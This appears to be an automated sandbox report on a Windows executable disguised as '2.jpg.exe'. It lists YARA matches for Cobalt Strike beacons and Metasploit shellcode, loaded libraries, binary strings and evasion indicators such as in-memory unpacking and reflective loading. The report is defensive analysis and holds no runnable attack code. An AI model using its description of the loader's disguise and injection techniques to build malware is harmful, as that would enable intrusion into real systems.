Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 00000000.00000002.4124836777.00000000026D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Shellcode_Generic_8c487e57 os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Shellcode.Generic, fingerprint = 834caf96192a513aa93ac48fb8d2f3326bf9f08acaf7a27659f688b26e3e57e4, id = 8c487e57-4b8c-488e-a1d9-786ff935fd2c, last_modified = 2022-07-18
Source: 00000000.00000002.4124836777.00000000026D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Metasploit_38b8ceec os = windows, severity = x86, description = Identifies the API address lookup function used by metasploit. Also used by other tools (like beacon)., creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 44b9022d87c409210b1d0807f5a4337d73f19559941660267d63cd2e4f2ff342, id = 38b8ceec-601c-4117-b7a0-74720e26bf38, last_modified = 2021-08-23
Source: 00000000.00000002.4124836777.00000000026D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Metasploit_24338919 os = windows, severity = x86, description = Identifies metasploit wininet reverse shellcode. Also used by other tools (like beacon)., creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = ac76190a84c4bdbb6927c5ad84a40e2145ca9e76369a25ac2ffd727eefef4804, id = 24338919-8efe-4cf2-a23a-a3f22095b42d, last_modified = 2021-08-23
Source: 00000000.00000002.4126125579.0000000006794000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.4126125579.0000000006794000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000002.4125800908.0000000005F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Shellcode_Generic_8c487e57 os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Shellcode.Generic, fingerprint = 834caf96192a513aa93ac48fb8d2f3326bf9f08acaf7a27659f688b26e3e57e4, id = 8c487e57-4b8c-488e-a1d9-786ff935fd2c, last_modified = 2022-07-18
Source: 00000000.00000002.4125800908.0000000005F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Metasploit_38b8ceec os = windows, severity = x86, description = Identifies the API address lookup function used by metasploit. Also used by other tools (like beacon)., creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = 44b9022d87c409210b1d0807f5a4337d73f19559941660267d63cd2e4f2ff342, id = 38b8ceec-601c-4117-b7a0-74720e26bf38, last_modified = 2021-08-23
Source: 00000000.00000002.4125800908.0000000005F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Metasploit_24338919 os = windows, severity = x86, description = Identifies metasploit wininet reverse shellcode. Also used by other tools (like beacon)., creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = ac76190a84c4bdbb6927c5ad84a40e2145ca9e76369a25ac2ffd727eefef4804, id = 24338919-8efe-4cf2-a23a-a3f22095b42d, last_modified = 2021-08-23
Source: 00000000.00000002.4125949262.0000000006360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.4125949262.0000000006360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000002.4125949262.0000000006360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.4125949262.0000000006360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000002.4125949262.0000000006360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000000.00000002.4125949262.0000000006360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4125949262.0000000006360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: Process Memory Space: 2.jpg.exe PID: 7272, type: MEMORYSTR Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: Process Memory Space: 2.jpg.exe PID: 7272, type: MEMORYSTR Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: Process Memory Space: 2.jpg.exe PID: 7272, type: MEMORYSTR Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.jpg.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 0.2.2.jpg.exe.5f20000.1.raw.unpack, AAAABBB.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.2.jpg.exe.26c6810.0.raw.unpack, AAAABBB.cs Cryptographic APIs: 'CreateDecryptor'
Source: classification engine Classification label: mal100.troj.evad.winEXE@1/2@0/1
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06763751 LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError, 0_2_06763751
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06768FCB _memset,GetCurrentProcess,CreateToolhelp32Snapshot,Process32First,CloseHandle,CloseHandle,OpenProcess,ProcessIdToSessionId,CloseHandle,Process32Next,CloseHandle, 0_2_06768FCB
Source: C:\Users\user\Desktop\2.jpg.exe File created: C:\Users\user\Desktop\localfile_638491169974164363.txt Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Mutant created: NULL
Source: 2.jpg.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 2.jpg.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\2.jpg.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: 2.jpg.exe ReversingLabs: Detection: 18%
Source: 2.jpg.exe Virustotal: Detection: 20%
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: wininetlui.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: 2.jpg.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: 2.jpg.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: 2.jpg.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: costura=costura.costura.dll.compressed=costura.costura.pdb.compressedGsystem.diagnostics.diagnosticsourceucostura.system.diagnostics.diagnosticsource.dll.compressed@ source: 2.jpg.exe
Source: Binary string: rget_download0get_FTPURL1Task`1Resource1kernel32Win32Dictionary`2Int64<Module>LoadByDFSystem.IOCosturacostura.metadatamscorlibget_abcSystem.Collections.GenericCopyToAsyncGetAsyncReadLoadAddisAttachedInterlockedcostura.costura.pdb.compressedcostura.costura.dll.compressedcostura.system.diagnostics.diagnosticsource.dll.compressedGetMethodCreateInstancesourceEnsureSuccessStatusCodeCompressionModeHttpResponseMessageExchangenullCacheInvokeIDisposableGetModuleHandleRuntimeTypeHandleGetTypeFromHandleDownloadFilehModuleget_NameprocNamelpModuleNamefullNameGetNamerequestedAssemblyNamenameDateTimeget_DeclaringTypeGetTypeget_Cultureset_CultureresourceCulturecultureMethodBaseDisposeCreateEditorBrowsableStateDeleteWriteCompilerGeneratedAttributeGuidAttributeGeneratedCodeAttributeDebuggerNonUserCodeAttributeDebuggableAttributeEditorBrowsableAttributeComVisibleAttributeAssemblyTitleAttributeAssemblyTrademarkAttributeTargetFrameworkAttributeAssemblyFileVersionAttributeAssemblyConfigurationAttributeAssemblyDescriptionAttributeCompilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeRuntimeCompatibilityAttributeByteTryGetValuevalueadd_AssemblyResolveLoadByDF.exedwSizeSystem.ThreadingSystem.Runtime.VersioningFromBase64StringCultureToStringGetStringAttachlocalFilePathget_LengthEndsWithnullCacheLockTaskSystem.ComponentModelkernel32.dllfileUrlReadStreamLoadStreamGetManifestResourceStreamFileStreamDeflateStreamMemoryStreamstreamProgramset_ItemSystemresourceManMainAppDomainget_CurrentDomainFodyVersionSystem.IO.CompressiondestinationSystem.GlobalizationSystem.Reflectionset_PositionStringComparisonCopyToMethodInfoget_CultureInfoMemberInfoSystem.Net.HttpAssemblyLoadersenderget_ResourceManagerResolveEventHandlerSystem.CodeDom.CompilerEnterActivator.ctor.cctorMonitorSystem.DiagnosticsSystem.Runtime.InteropServicesSystem.Runtime.CompilerServicesSystem.ResourcesReadFromEmbeddedResourcesLoadByDF.Resource1.resourcesDebuggingModesGetAssembliesresourceNamessymbolNamesassemblyNamesget_FlagsAssemblyNameFlagsResolveEventArgsargsget_TicksSystem.Threading.TasksEqualsGetProcAddresslpAddressConcatFormatObjectlpflOldProtectVirtualProtectflNewProtectWaitExitget_ResultToLowerInvariantHttpClientget_ContentHttpContentConvertReadAllTextget_NowLoadByDF_ProcessedByFodyContainsKeyget_AssemblyResolveAssemblyReadExistingAssemblyGetExecutingAssemblyIsNullOrEmpty#localfile_{0}.txt source: 2.jpg.exe
Source: Binary string: costura.costura.pdb.compressed source: 2.jpg.exe
Source: Binary string: C:\Users\miss\source\repos\ByDll\obj\Release\ByDll.pdb source: 2.jpg.exe, 00000000.00000002.4124836777.00000000026C1000.00000004.00000800.00020000.00000000.sdmp, 2.jpg.exe, 00000000.00000002.4125783535.0000000005F20000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: costura.costura.pdb.compressed|||Costura.pdb|6F8FE76A0D5297A4FA7D4F7054093411D51F71B1|2636 source: 2.jpg.exe
Source: Binary string: C:\Users\miss\source\repos\LoadByDF\obj\x86\Release\LoadByDF.pdb source: 2.jpg.exe

Data Obfuscation
barindex
Detected unpacking (creates a PE file in dynamic memory)
Source: C:\Users\user\Desktop\2.jpg.exe Unpacked PE file: 0.2.2.jpg.exe.6760000.2.unpack
Yara detected ReflectiveLoader
Source: Yara match File source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE
